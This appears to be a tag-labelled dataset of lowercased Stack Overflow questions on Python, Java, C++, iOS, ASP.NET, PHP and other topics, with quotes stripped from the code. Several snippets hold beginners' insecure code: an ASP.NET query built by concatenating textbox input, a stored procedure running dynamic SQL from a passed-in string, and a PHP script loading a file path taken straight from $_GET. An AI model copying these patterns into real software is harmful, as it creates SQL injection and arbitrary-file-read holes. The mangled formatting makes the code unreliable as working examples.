ios 7  code for customised uipickerview  i am looking for code to create customised uipickerview.<br> crate uipickerview by code  set all its parameter and elements programmatically.,ios
python failing to recognise number above 1000 <pre><code>magicnumber = 2000 ;  for x in range(10000):     if x is magicnumber:         print(x  is the magic number )         break </code></pre>   i need assistance.,python
save arraylist hashmap in database  how to save arraylist&lt; hashmap&lt; string  string>> in database     getting null values in the database     i tried this method: <a href= https://stackoverflow.com/questions/17666722/saving-records-into-the-database-from-the-hashmap-in-android >saving records into the database from the hashmap in android</a> but didn t help   <pre><code>public void addquote(quote q  arraylist&lt;hashmap&lt;string  string&gt;&gt; put_q_list) {    try{     mydatabase=this.getwritabledatabase();    contentvalues values=new contentvalues();    values.put( q_customer_name   q.getcustomer_name());   values.put( q_customer_email   q.getcustomer_email());   values.put( q_b_street   q.getbilling_street());   values.put( q_b_city   q.getbilling_city());   values.put( q_b_state   q.getbilling_state());   values.put( q_b_zipcode   q.getbilling_zipcode());   values.put( q_b_country   q.getbilling_country());   values.put( q_s_street   q.getshipping_street());   values.put( q_s_city   q.getshipping_city());   values.put( q_s_state   q.getshipping_state());   values.put( q_s_zipcode   q.getshipping_zipcode());   values.put( q_s_country   q.getshipping_country());   values.put( q_day   q.getday());   values.put( q_month   q.getmonth());   values.put( q_year   q.getyear());   values.put( q_total   q.gettotal());   values.put( q_discount   q.gettotal_discount());    mydatabase.insert( quote  null values);    }catch(exception e)   {       log.e( bderror  e.tostring());       e.printstacktrace();   }    string selectquery =  select quote_id from quote where q_customer_email=  ;   cursor cursor = mydatabase.rawquery(selectquery  new string[] {q.getcustomer_email()});   int i=0;   while(cursor.movetonext())     {       i=cursor.getint(0);     }   cursor.close();   mydatabase.begintransaction();   for (int j = 0; j &lt; put_q_list.size(); j++) {        hashmap&lt;string  string&gt; map = new hashmap&lt;string  string&gt;();        map = put_q_list.get(j);         //each value by using this method        string item_code = map.get( item_code_final );         contentvalues cv = new contentvalues();        cv.put( quote_id   i);        cv.put( q_item_code   item_code);        mydatabase.insert( q_item   null  cv);     }   mydatabase.settransactionsuccessful();   mydatabase.endtransaction();   mydatabase.close(); } </code></pre>   only the value of  i  is being inserted!!! not the item code please help!!!,android
jquery use css-selectors on retrieved data  when i use    <pre><code>$.ajax( ...   { success: function(data) { /* do something with data */ }}); </code></pre>   is it possible to work on data with css-selectors like <code>$( body )</code>  to get only the content of the data s body html tag,jquery
how to share one main function/file amongst many projects   i have multiple c++ applications that have the same main file. it looks something like this:   <pre><code>main() {    superclass *a = new subclass_1();    a.setup(); // .setup() and .run() are superclass functions that are overridden by subclasses.    a.run(); } </code></pre>   i have about 10 subclasses (subclass_1  subclass_2  subclass_3  etc...) that all share the same interface (.setup()  .run()).    i d like to create 10 separate binaries with the exact same main file but with the slight difference that the subclass instance is different (instead of new subclass_1()  it ll be new subclass_2()  new subclass_3()  etc..). but the calls to .setup() and .run() will always be the same.    the reasoning behind this is that my main function might change slightly  and i wouldn t want to update 10 main files to propagate this change. i d like to just have one main file and somehow link to 10 different subclass libraries to create 10 different executables.    i m using cmake and c++ 17  with gcc/g++ of course.    strategies i ve considered:    a) use a templating engine that takes a main file template and generates 10 temporary main failes and compiles them. this is not very elegant but i can probably hack cmake to do the process for me.    b) use c s dynamic class loading. using dlopen and dlsym  i can export the symbols from my subclasses and have a general main file .o file that i can link individually to each subclass lib and create 10 different binaries that simply loads 10 different .so files for each subclass. this method is a bit more elegant but could be ugly and messy  and unfortunately i m using c++ with args inside my setup and run functions that are std::strings. the symbol exporting could get messy....    anyone encountered something like this  any ideas,c++
how to add the first number and last number of a series of number in c   i am a beginner to c language and also computer programming. i have been trying to solve small problems to build up my skills. recently  i am trying to solve a problem that says to take input that will decide the number of series it will have  and add the first and last number of a series. my code is not working and i have tried for hours. can anyone help me solve it     here is what i have tried so far.    <pre><code>#include&lt;stdio.h&gt;  int main() {     int a[4];     int x  y  z  num;     scanf( %d   &amp;num);     for (x = 1; x &lt;= num; x++) {         scanf( %d   &amp;a[x]);          int add = a[0] + a[4];         printf( %d\n   a[x]);     }     return 0; } </code></pre>,c
using uitableview without a controller - getting unrecognized selector error  i m not sure if i m going about this right. all the tutorials i ve seen suggest that nearly all the controls  which are views  are handled by their own viewcontroller. but the apple docs clearly state that it should be one viewcontroller per screen  and i have more than one thing going on per screen. if i m supposed to have multiple viewcontrollers per screen  how do i hook that up in ib     i ve put a uitableview onto my main view  and then i created a custom class to handle it. i implemented the uitableviewdatasource and uitableviewdelegate protocols necessary  and then i added it as an object into my xib file. i hooked up the table to that object  and i made sure to set the class of the object to the one i created.    the problem is  simply having a <code>willselectrowatindexpath</code> method defined in my custom class causes the app to crash when i click a table row  with an  unrecognized selector  error. i ve gone through dozens of forums and such looking for the answer  but they re all about making sure the class is set right (mine is) or something about leaking memory (for people who didn t use ib to create it.) so i m totally at a loss now for why this is happening. is it because my custom class isn t a subclass of uiviewcontroller     edit: i fixed the actual issue by moving the code into my main uiviewcontroller  and setting the table s datasource and delegate to that (the file s owner) and it works. but i m still very confused on why it refused to work before. all the links and properties seem to have been set up just fine.,iphone
jquery selector for name attribute   well  by assigning events or putting values or whatever we want to do to certain elements..    for id we use:   <pre><code>$( #id ).addclass( something ); </code></pre>   for class we use:   <pre><code>$( .class ).addclass( something ); </code></pre>   what about for <strong>name</strong>     any help would be appreciated.    can t find any certain solutions for this or i just didn t know the right words to search for haha.,jquery
i got exception handling at exexutenonquery at gridview in asp.net <pre><code>        label lb = (label)gridview1.rows[e.rowindex].findcontrol( label6 );         textbox tx1 = (textbox)gridview1.rows[e.rowindex].findcontrol( textbox1 );         textbox tx2 = (textbox)gridview1.rows[e.rowindex].findcontrol( textbox2 );         mycon.open();         sqlcommand myupdatecommand = new sqlcommand( update users set(user_name user_surname) values(  +tx1.text+     +tx2.text+  ) where user_id=  +lb.text+     mycon);                     myupdatecommand.executenonquery();         gridview1.editindex = -1;         gridview1.databind(); </code></pre>   thanks!,asp.net
can i run .net 3.5/4.0 website under a root folder of .net 2.0 website   say  abc.com  have all the files in the root folder is one saperate application. and  data is a subfolder but a different application. our concern is if the root folder is 2.0  can the application (which is a different application  not included in the root application) in a subfolder  be 3.5/4.0,.net
how to run a method that contains a for loop on button press  i m trying to make a simple gui app where when you input an integer  i.e  w  into a text field  it s put into the for loop  and the loop runs  w  times. when it runs  i want it to print an  x  each time the loop runs. hopefully it ll make more sense when you see the code. some help would be greatly appreciated.    thanks in advance.   <pre><code>import java.awt.event.*; import javax.swing.*; import javax.swing.text.jtextcomponent;  public class main {  public static void main(string[] args) {     jframe f = new jframe();// creating instance of jframe      int w = 0;      jtextfield textfield = new jtextfield();     jtextarea textarea = new jtextarea(6  37);     jbutton bsquare = new jbutton( square );// creating instance of jbutton     jbutton bratriangle = new jbutton( right angle triangle );     jbutton betriangle = new jbutton( equilateral triangle );      bsquare.setbounds(0  100  200  40);     bratriangle.setbounds(200  100  200  40);     betriangle.setbounds(400  100  200  40);     textarea.setbounds(0  500  600  100);     textfield.setbounds(200  200  200  80);      textfield.addactionlistener(new actionlistener() {         @override         public void actionperformed(actionevent e) {             try{                 int w = integer.parseint(textfield.gettext());                 textarea.settext(string.valueof(w));             } catch(numberformatexception nfe){                 textarea.settext( error! );             }          }     });      bsquare.addactionlistener(new actionlistener() {         @override         public void actionperformed(actionevent e) {             for(int j = 0; j &lt; w; j++) {                 textarea.append(  );                 for(int i = 0; i &lt; w; i++) {                     textarea.append( x );                 }             }         }     }); </code></pre>,java
#define <anyname>  \n  instead of  \n   i was wondering if <code>#define nd  \n </code> is an acceptable alternative to good old <code> \n </code>     <pre><code>#include &lt;iostream&gt; #define nd  \n  int main(){     std::cout &lt;&lt;  hello world !  &lt;&lt; nd ; } </code></pre>   i feel this would come handy while printing variables or iterators  does save a few keystrokes.,c++
top 2 distinct in sql  this is my test table in sql-server    the table structure is this     table a   <pre><code>status   id    col1    col2      col3      date a        111     name1   name4     name6     2/18/14 5:54 b        111     name1   name5     name6     3/18/14 5:54 b        111     name2   name6     name6     5/12/14 5:54 b        111     name2   name6     name7     10/11/13 3:34 </code></pre>   required result:   <pre><code>status   id    col1    col2      col3      date a        111     name1   name4     name6     2/18/14 5:54 b        111     name1   name5     name6     3/18/14 5:54 </code></pre>   the answer has to be generic solution as i don t know the rdbms of my client :    i did this in sql-server :   <pre><code>select *    from (select *                  row_number() over(partition by status order by date desc) as rn            from table         )   where rn=1 </code></pre>   any help is much appreciated !,sql
what does class `expr_t : public ast_container` mean  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4478481/what-does-class-helloworld-public-gtkwindow-mean >what does `class helloworld : public gtk::window` mean </a>    </blockquote>     i m new to c++  but looked at a few tutorials and read partially accelerated c++ ... but have seen something like    <pre><code>class expr_t : public ast_container { public:     virtual double eval() const = 0;     ... </code></pre>   what does the 1st line mean  its declaring a class named <code>expr_t</code>  then whats <code>ast_container</code> part      then on line 3: <code>virtual double eval() const = 0</code> what does it mean     <ul> <li>seems like its declaring a virtual function called <code>eval</code> that returns a double  but then whats the <code>const = 0</code> part </li> </ul>,c++
polymorphisim java  i m getting the fine after computing the method  <code>computefine()</code> it returns the result <code>0</code>  each time i put any <code>period</code>    please check it here because it is very long and it s hard to past it in sof    <a href= http://paste.org/pastebin/view/40017  rel= nofollow >http://paste.org/pastebin/view/40017</a>,java
static nested class inside parameterized class  i was looking at the java code implementing a binary search tree shown <a href= http://algs4.cs.princeton.edu/32bst/bst.java.html  rel= nofollow >here</a> and i thought that it would be better if the inner class <code>node</code> was in fact turned into a <a href= http://docs.oracle.com/javase/tutorial/java/javaoo/nested.html  rel= nofollow >static nested class</a>. however  adding the <code>static</code> keyword in front (i thought i could do this since the inner class does not in fact anywhere use the instance of the enclosing class -- the one i can access in the <code>node</code> inner class as <code>bst.this</code> -- that is bound to it) resulted in multiple errors which were not extremely helpful.    as far as i m aware  <code>java.util.linkedlist</code> and similar also used static nested classes to define the nodes stored inside and are also parameterized (and  of course  work without any problems). anyone care to elaborate     thanks.,java
css corrupted and gone blanked - how can i recover it. - (pc bosd & restarted)  css corrupted and gone blanked - how can i recover it.    problem pc bosd and restarted when i bosd i was editing and css file. soon after i restart the pc the css gone blanked. all browser cash also show blank as well.     please give a solution.,css
call to super first line  i am a newbee so advise and help is always greatly appreciated.    cannot seem to get my container contentpane to display the title.    my code:   <pre><code>class createstockcodedetails extends jframe implements actionlistener  {        optradersa parent;         optraderglobalparameters gv = new optraderglobalparameters();       private boolean debug = true; //set debug = true for debugging   jbutton save_button     = new jbutton( save );  jbutton cancel_button   = new jbutton( cancel );   font myfont         = new font( helvetica  font.bold 24);   jlabel pricebidlabel           = new jlabel(   bid price  jlabel.left);  jlabel priceasklabel           = new jlabel(   ask price  jlabel.left);  jlabel pricemidlabel           = new jlabel(   mid price  jlabel.left);  jlabel dividendlabel           = new jlabel(   dividend  jlabel.left);   jtextfield pricebid    = new jtextfield(5);  jtextfield priceask    = new jtextfield(5);  jtextfield pricemid    = new jtextfield(5);  jtextfield dividend           = new jtextfield(5);   jtextfield newunderlyingcode  = new jtextfield(10);   string newcode;    public void createstockdetails(string stockcode)   {         **super( hallo all );**          container contentpane = getcontentpane();         setsize(400 500);         setdefaultcloseoperation(jframe.dispose_on_close);          //centre screen to right of main    dimension sd=toolkit.getdefaulttoolkit().getscreensize();    super.setlocation(sd.width/2-100/2  sd.height/2-300/2);  </code></pre>   thanks    kind regards stephen,java
how to count clicks with javascript   can i count clicks on links with javascript,javascript
.net 2.0 custom scroll bar control  i have winforms application with scroll bar controls  i need to change the appearance of these <code>scrollbars</code>.     is there any way to do it except creating scroll bar control from scratch  i cannot use wpf because targeting .net 2.0.,.net
how to get child json items in ng-options  below is my data   <pre><code>this.dynamiccmbitems = [{                 id: 1                  label:  alabel                   subitem: [                     {                         name:  asubitem1                      }                       {                          name:  asubitem2                       }                        {                           name:  asubitem3                        }                 ]             }  {                 id: 2                  label:  blabel                   subitem: [{ name:  bsubitem  }]             }]; </code></pre>   i want to display <code>vm.dynamiccmbitems.subitem</code> in dropdown. i have written code like this   <pre><code> &lt;select ng-options= item.name for item in vm.dynamiccmbitems.subitem   ng-model= vm.selected &gt;&lt;/select&gt; </code></pre>   but this is not working.,angularjs
convert associate array to numeric array  i have an array like following.it is combination of both numeric key and associate key.   <pre><code>[0] =&gt; array     (         [test] =&gt; array             (                 [a] =&gt; lorem                 [id] =&gt; 2             )          [0] =&gt; array             (                 [b] =&gt; 2             )      ) </code></pre>   desired array   <pre><code>[0] =&gt; array     (         [0] =&gt; array             (                 [a] =&gt; lorem                 [id] =&gt; 2                 [b] =&gt; 2             )    ) </code></pre>   how can i convert this array into numeric array like following(best way). although i have convert this array in desired array with use of foreach.  used method -   <pre><code>for($i=0;isset($array[$i]);$i++){                         $temp[$i]=$array[$i][ test ];                         $temp[$i][ b ]=$array[$i][0][ b ];                     } </code></pre>,php
gallery loading slowly <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11384048/thumbnails-in-php-generated-gallery-loading-slow >thumbnails in php generated gallery loading slow</a>    </blockquote>     code link can be found on the bottom of the page.    the site is running from 1and1.co.uk linux based system  good enough to load the gallery much faster than it currently does.    the php generated thumbnails are loading a bit slow  can you tell me why     <a href= http://site-perf.com/cgi-bin/show.cgi id=vz5le19fp5e  rel= nofollow noreferrer >http://site-perf.com/cgi-bin/show.cgi id=vz5le19fp5e</a>    code: <a href= http://satinaweb.com/tmp/functions.txt  rel= nofollow noreferrer >http://satinaweb.com/tmp/functions.txt</a>    here is <code>crop.php</code>:   <pre><code>$sourceimage = $_get[ a ];  function crop($sourceimage) {     // draw &amp; resize     header( content-type: $imsz[\ mime\ ] );      list($width  $height) = getimagesize($sourceimage);      if($width &gt; $height){         $new_width = 100;         $new_height = 75;     } else {         $new_width = 75;         $new_height = 100;     }      $image = imagecreatefromjpeg($sourceimage);     $image_p = imagecreatetruecolor($new_width  $new_height);      imagecopyresampled($image_p  $image  0  0  0  0  $new_width  $new_height  $width  $height);     imagejpeg($image_p);     imagedestroy($image_p);     imagedestroy($image); }   crop($sourceimage); </code></pre>   if you have questions  please ask!,php
templated function pointer  is this possible  <pre><code>template&lt;typename t&gt; std::vector&lt;unsigned&gt;  traverse ( unsigned    start_node    std::priority_queue &lt;      std::pair&lt; unsigned  unsigned &gt;       std::vector&lt; std::pair&lt;unsigned  unsigned&gt; &gt;       bool(*t)(const unsigned&amp;  const unsigned&amp;)  &gt; &amp;pqueue ) const; </code></pre>   the above code basically doesnt compile. i think its syntax error with the following line:   <pre><code>    bool(*t)(const unsigned&amp;  const unsigned&amp;)  </code></pre>   what is the correct syntax     thanks.    edit: @ james   this is the declaration of a const class member function template. the function takes the following arguments    1) an unsigned int    2) a priority_queue  sorted in an arbitrary manner specified by the client    the function returns a vector of unsigned ints.,c++
bidirectional clientserver communication in java  is it possible to simultaneously read and write from a socket i tried bidirectional client server communication...but the thing is first i sent the file(bytes) from client to server received successfully.but when i am response back to the file to server the broken pipe error(socket exception was occurred),java
link jquery click methodto button click event  on my web page i have a button  and some jquery code.  the problem is that when i click the button  the jquery code is not executed.  clicking the button still does a postback  and seems to ignore the jquery code. here is my button:   <pre><code>&lt;button id= btncancel  class= button  runat= server  &gt;&lt;span&gt;cancel&lt;/span&gt;&lt;/button&gt; </code></pre>   here is my jquery code:   <pre><code> $(document).ready(function () {     $( #btncancel ).click(function () {         alert( hello );     }); }); </code></pre>   what i would like to achieve is that when the button is clicked  a message must be displayed showing  hello . am i missing something here,asp.net
or condition and for loop bad used   i ve a problem setting a double if condition in a for loop.    supposing to have a list of lists that i ve appended during my previous code:   <pre><code>... ... lines=[[1 1 1] [1 2 1] [1 0 1] [1 1 1]] </code></pre>   i want to evaluate inside a for loop when 2 or 0 are in lines[k]  if one of them are in lines[k]  the code have to pass and do next code  if they are not in lines[k] it will continue the for loop. i ve coded it like this:   <pre><code>for k in range(0 4):     if 2 not in list[k] or 0 not in list[k]:         continue     else:         pass     do other analysis </code></pre>   in my head this code have to work like this:    <pre><code>for k=0 ---&gt; lines[0]=[1 1 1] must continue and go to k=1 for k=1 ---&gt; lines[1]=[1 2 1] must pass and do other analysis (2 is in liens) for k=2 ---&gt; lines[2]=[1 0 1] must pass and do other analysis (0 is in lines) for k=3 ---&gt; lines[3]=[1 1 1] must continue and finish. </code></pre>   anyway it is not working... it might be the  or  command used in the wrong way      how can i fix my code   any idea      thanks for your time!!,python
no uiview appearing in the interface  note: jump to end for answer.    i am new to ios programming. how can i add a visible uiview to the following code. so far it just has the nav bar appear  and black space below  no imageview or the square uiview in the code below.    below is code in my homescreenviewcontroller   <pre><code>- (void)viewdidload {     [super viewdidload];      uiimageview *friendsicon = [[uiimageview alloc] initwithimage:([uiimage imagewithcontentsoffile:@ change_user-512 ])];     [friendsicon setframe:cgrectmake(0  0  100  100)];     [self.view addsubview:friendsicon];      uiview *square = [[uiview alloc] initwithframe:cgrectmake(200  200  100  100)];     [square settintcolor:[uicolor orangecolor]];     [self.view addsubview:square];     // do any additional setup after loading the view. } </code></pre>   below is code in appdelegate.   <pre><code>@implementation appdelegate  - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];      self.myviewcontroller = [[homescreenviewcontroller alloc] init];      uinavigationcontroller *navbar = [[uinavigationcontroller alloc] initwithrootviewcontroller:self.myviewcontroller];     navbar.title = @ navigation ;      self.window.rootviewcontroller = navbar;  [self.window makekeyandvisible];  return yes; } </code></pre>   edit: here is also the interface for appdelegate. this is literally the only code in the proj other than the generated lines upon creating the project in xcode. i also deleted the storyboard file along with its info in the plist file (otherwise the app would crash).   <pre><code>#import &lt;uikit/uikit.h&gt; #import  homescreenviewcontroller.h   @interface appdelegate : uiresponder &lt;uiapplicationdelegate&gt;  @property (strong  nonatomic) uiwindow *window; @property (nonatomic  strong) homescreenviewcontroller *myviewcontroller;  @end </code></pre>   editagain: no need to read comments  just read this: yes  viewdidload does invoke. the background changes to red if i set background color. no i am not using storyboard. still unanswered. <a href= http://postimg.org/image/h5ayao2q3/  rel= nofollow >http://postimg.org/image/h5ayao2q3/</a>   <hr>   final edit: finally! problem solved. it was as simple as setting the background colour for the uiview square. d oh.   <pre><code>- (void)loadview {     [super loadview];     self.view = [[uiview alloc] initwithframe:[[uiscreen mainscreen] bounds]];     [self.view setbackgroundcolor:[uicolor redcolor]];      uiimageview *friendsicon = [[uiimageview alloc] initwithimage:([uiimage imagewithcontentsoffile:@ change_user-512 ])];     [friendsicon setframe:cgrectmake(0  0  100  100)];     [self.view addsubview:friendsicon];      uiview *square = [[uiview alloc] initwithframe:cgrectmake(0  0  100  100)];     [square setbackgroundcolor:[uicolor orangecolor]];     [self.view addsubview:square];     // do any additional setup after loading the view. } </code></pre>   thank you very much everyone for your help. i guess my uiimage is borked  but i can figure that out myself.,ios
how to reduce the space between two words. my jsp looks like this sortby: date.i want to reduce the space between sortby: date  how can we reduce the space between the word in ui page.    i have multiple words and all are in the random location.i want to place those words properly,css
html: &copy; doesn t show  when i wrote <code>&amp;copy;</code> in my page it doesn t show the copyright symbol     and show the point instead  just <strong>.</strong> it shows. maybe you know why  thanks,html
error lauchoptions undeclared ios4   application.applicationiconbadgenumber = 0;   <pre><code>// handle launching from a notification uilocalnotification *localnotif =[launchoptions objectforkey:uiapplicationlaunchoptionslocalnotificationkey];  if (localnotif) {     nslog(@ recieved notification %@  localnotif); }  return yes; </code></pre>   i am getting <strong>lauchoptions</strong> undeclared  my os veriosn is 4  and xcode i 3.2.3,iphone
navigation within tabcontroller  i am trying to use uitabcontroller as may controller in my main window and add navigation controllers to some tab bar items.    for example  the first tab has a navigation controller with table view:    <a href= http://www.freeimagehosting.net/uploads/f3ad987c86.png  rel= nofollow noreferrer >alt text http://www.freeimagehosting.net/uploads/f3ad987c86.png</a>    the settingsviewcontroller is associated with its own nib file  where a table view is defined. within that xib file  i have a table view and set it to the outlet of settingsviewcontroller class property mytableview.    here are my h files:   <pre><code>// header file for settingviewcontroller class @interface settingsviewcontroller :    uiviewcontroller &lt;uitableviewdelegate  uitableviewdatasource&gt; {     uitableview  *mytableview;     // other codes vars   }   @property (nonatomic  retain) iboutlet uitableview *mytableview;   // ... @end  // header for main app delegate @interface mainappdelegate :    nsobject &lt;uiapplicationdelegate  uitabbarcontrollerdelegate&gt; {     uiwindow *window;     uitabbarcontroller *tabbarcontroller;     // ...   }   @property (nonatomic  retain) iboutlet uitabbarcontroller *tabbarcontroller;  // ... @end </code></pre>   in my settingsviewcontroller.xib file  through ib  i linked outlet mytableview to the xib s file owner  ie  settingviewcontroller class:    <a href= http://www.freeimagehosting.net/uploads/e577d35137.png  rel= nofollow noreferrer >alt text http://www.freeimagehosting.net/uploads/e577d35137.png</a>    the problem is that in the main xib file  for the settingsviewcontroller navigation  there is one outlet mytableview. i am not sure if i have to set this to somewhere     the exception i get is  [uiviewcontroller _loadviewfromnibnamed:bundle:] loaded the  settingsviewcontroller  nib but the view outlet was not set.,iphone
asp.net(c#) custom paging with stored procedure - bad performance during pagination  i have a asp:gridview with datasource like list i added custom paging  using a procedure  when i use the procedure in ms server management     studio its performance is fast  as soon as i try it in asp.net  performance is awful during     pagination. the 1st step (when the gridview fills) is very fast  but when i am starting to paginate      the performance kills  i am waiting 5-25 seconds for passing to the next page.    dear all  what must i do to solve this problem  will you help me      here is the stored procedure   <pre><code>create procedure [sp_qs] @startrowindex int  @maximumrows int  @afterwhere nvarchar(max)  @sortby nvarchar(max)  @totalrows int out as  set nocount on;  declare @p nvarchar(max)  @q1 nvarchar(max)  @q2 nvarchar(max) declare @first_id int  set @startrowindex = (@startrowindex - 1) * @maximumrows  set @q1 =  query part 1   set @q2 =  query part 2   if @startrowindex = 0 begin set @startrowindex = 1 end  set rowcount @startrowindex set @p =  set nocount on;     declare @out int     select @out = id from table1   + @q2 +     where   + @afterwhere +       select @out   if object_id( tempdb..#t1   u ) is not null begin drop table #t1 end create table #t1 (col int) insert #t1 exec(@p) select @first_id = col from #t1 drop table #t1  --select @first_id as ffff --print @first_id  set rowcount @maximumrows set @p =  set nocount on;  +  select   + @q1 +   from table   + @q2 +   where (id &gt;=  +   cast(@first_id as nvarchar(60)) +  ) and (  + @afterwhere +  )   + @sortby exec(@p)  set rowcount 0  -- get the total rows if @startrowindex = 1 begin set @p =  set nocount on;  +  select count(id) from table1   + @q2 +   where   +   @afterwhere if object_id( tempdb..#t2   u ) is not null begin drop table #t2 end create table #t2 (col int) insert #t2 exec (@p) select @totalrows = col from #t2 drop table #t2 select @totalrows as queryresultrowcount end  go </code></pre>   and here is the code in asp.net(with c#)   <pre><code>private void binddata() {     string connectionstring =  server=localhost;  +              database=northwind;trusted_connection=true ;     sqlconnection myconnection = new sqlconnection(connectionstring);     sqlcommand mycommand = new sqlcommand( usp_getproducts                                               myconnection);     mycommand.commandtype = commandtype.storedprocedure;      mycommand.parameters.addwithvalue( @startrowindex                                          currentpagenumber);     mycommand.parameters.addwithvalue( @maximumrows   page_size);     mycommand.parameters.add( @totalrows   sqldbtype.int  4);     mycommand.parameters[ @totalrows ].direction =                         parameterdirection.output;      sqldatareader sqlreader = mycommand.executereader();      while(sqlreader.read())     {         // filling list&lt;&gt; object to bind to gridview as datasource     } ... } </code></pre>   i have to buttons  next  and  prvious   pressing these buttons  i am changing     currentpagenumber with + or - 1  calling binddata() method after it.    thanks in advance,asp.net
how can i enable or disable the home button on android   how can i enable or disable the home button on android tablets,android
objective-c: how can i access another viewcontroller and change ui in it   i m trying to navigate to another view and change its ui.    i manage to access to the controller method  hideelements    but all the elements are <strong> nil </strong> and it doesnt change anything.    (when i access the viewcontroller.m regular with no navigation then the properties are not nil)    <strong>why is that and how can i solve it </strong>    <strong>viewcontroller.m:</strong>   <pre><code>- (void)hideelements:(nsstring *)identifier{     [_agreebutton sethidden:true];     [_nothankbutton sethidden:true];     [self cleanbuttons]; } </code></pre>   <strong>viewcontroller2.h</strong>    <pre><code>#import  viewcontroller.h  @property (nonatomic) viewcontroller *myviewcontroller; </code></pre>   <strong>viewcontroller2.m</strong>   <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {       nsstring *identifire = [sender text];       viewcontroller* vc = (viewcontroller*)segue.destinationviewcontroller;       [vc hideelements:identifire]; } </code></pre>   <strong>screenshot:</strong> <a href= https://i.stack.imgur.com/aj04y.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/aj04y.png  alt= enter image description here ></a>,objective-c
not able to download using webclient  i m not able download the following link the remote server returned an error: (404) not found please guide me   <pre><code>        string st =  http://www.nseindia.com/content/indices/histdata/s&amp;p%20cnx%20nifty15-02-2012-22-03-2012.csv ;         uri uu = new uri(st);         using (webclient filereader = new webclient())         {             string tgtdir;             try             {                 filereader.headers.add( accept    application/zip );                 filereader.headers.add( user-agent    mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.2.12) gecko/20101026 firefox/3.6.12 (.net clr 3.5.30729) );                 tgtdir = @ c:\temp\nif.csv ;                 filereader.downloadfile(uu  tgtdir);                 filereader.dispose();             }             catch (webexception ex)             {                 label1.text = ex.message;             }         } </code></pre>,.net
dropdown menu item reversal  i am new to javascript and my code looks as below   <h2>in html:</h2>  <pre><code>&lt;select name= dropdown  onchange= javascript: alertuser()  &gt; &lt;option value= 0  selected&gt;eat&lt;/option&gt; &lt;option value= 1 &gt;work&lt;/option&gt; &lt;option value= 2 &gt;sleep&lt;/option&gt; &lt;option value= 3  &gt;enjoy&lt;/option&gt; </code></pre>  <h2>    </h2>  <h2>in javascript:</h2>  <pre><code>function alertuser() {     confirm( are you sure  ); } </code></pre>  <hr>   now  here is my problem.    when i select an element from dropdown  it will pop up confirmation dialogue  are you sure  .  if i click ok  the selection should change to selected value. if i cancel  the selected value should reset back to previously selected value in dropdown list.    could anyone please help me to solve the problem.    thank you,javascript
angularjs pass string from controller with angular variables in it to display in ng  here is a very simple version of what i m trying to execute (this data is coming from all different controllers and the link is dynamic depending on where you are). so i can t assign the variables to $scope  i have to build the link in the view.    how do i pass <code>{{scopedata}}</code> in a string to a view to use in an ng-href or any other ng function  and have angular pickup that it is a variable.    <a href= http://plnkr.co/edit/e3uvfsapgi0m0ce8ospc  rel= nofollow >sample plunker</a>    plain text: <code>http://www.google.com/ test={{row.test}}&amp;test2={{row.test2}}</code>    should be <code>http://www.google.com/ test=1&amp;test2=2</code>,angularjs
angularjs - confusion about nested named views with angular-ui-router  using <code>angular-ui-router</code>  an external routing plugin for <code>angular</code> found <a href= https://github.com/angular-ui/ui-router  rel= nofollow >here</a>  i am attempting to understand how the nested named views work. i got the initial demos working fine  but tried to make some modifications  like this;   <pre><code>$stateprovider    .state( default   {       url:  /default         views: {           viewa  : { templateurl:  angular/partials/default.a.html  }            viewb  : { templateurl:  angular/partials/default.b.html  }       }    })    .state( state1.list   {       url:  /state1list         views: {           viewalist  : {              templateurl:  angular/partials/state1.list.html               controller: function($scope) {                $scope.items = [ a    list    of    items ];             }          }       }    }); </code></pre>   the idea is that i am setting the list contents to a <code>named view</code> that is nested inside of the <code>default.a.html</code> file.    <h1>error</h1>   the error message i receive is this;   <blockquote>    error: could not resolve  state1.list  from state  default   </blockquote>  <h1>html</h1>   the html looks like this;   <h1>index.html</h1>  <pre><code>&lt;div ui-view= viewa &gt;&lt;/div&gt; &lt;div ui-view= viewb &gt;&lt;/div&gt; </code></pre>  <h1>angular/partials/default.a.html</h1>  <pre><code>&lt;h1&gt;default.a.html&lt;/h1&gt; &lt;hr /&gt; &lt;a ui-sref= state1.list &gt;show list&lt;/a&gt; &lt;div ui-view= viewalist &gt;&lt;/div&gt; </code></pre>  <h1>angular/partials/state1.list.html</h1>  <pre><code>&lt;h3&gt;list of state 1 items&lt;/h3&gt; &lt;ul&gt;     &lt;li ng-repeat= item in items &gt;{{ item }}&lt;/li&gt; &lt;/ul&gt; </code></pre>  <h1>angular/partials/default.b.html</h1>  <pre><code>&lt;h1&gt;default.b.html&lt;/h1&gt; &lt;hr /&gt; </code></pre>,angularjs
viewwilldisappear is called twice  my app uses storyboard with a splitviewcontroller. on the left side i have tableview with a list of options. on the right side i have some information for the options on the left side. just as in the settings app. when the user choose an option on the left side the content of the right side changes. there are one viewcontroller for every one of the options on the left side. these viewcontrollers are embedded inside a navigationviewcontroller (one navigationviewcontroller for every viewcontroller).    when the user select an option on the left side a segue is performed. its type is  replace  and its destination  detail split .    my problem is that every time the user select an option on the left side  viewwilldisappear of the rightside viewcontroller is called twice. why is it happening,ios
is there a good way to automate translation of objects between different architectural layers   more and more applications need different representations of similar objects  e.g.  when crossing the wire with web services or when mapping to the database. when you are working with a domain model you probably need one kind of objects in your business layer/domain model (small  lots of behaviour) and another when crossing process or network boundaries (big  only data) or when talking to the database (e.g.  linq to sql only supports 1-to-1 mapping between db tables and generated/mapped objects).    this means you have to write a lot of code performing the rote task of translating/mapping similar objects to eachother. surely there must be some kind of framework or tool to help you do this  or is manual coding the only way to really be in control  we have investigated using reflection and xml/attribute mapping to solve this ourselves but it quickly gets fairly complicated  e.g.  mapping subobjects and lists or several primitives on one object to a subobject on the other object.    we are using c# on .net 3.5.,.net
auto complete off in username textbox chrome  hi i have to place auto complete off for username text box in login page the technology is .net i placed auto complete as off in asp text box but it is not working .when after login if we click on save password it is giving chrome auto fill. i don t want to give user for auto fill  any help    thanks,html
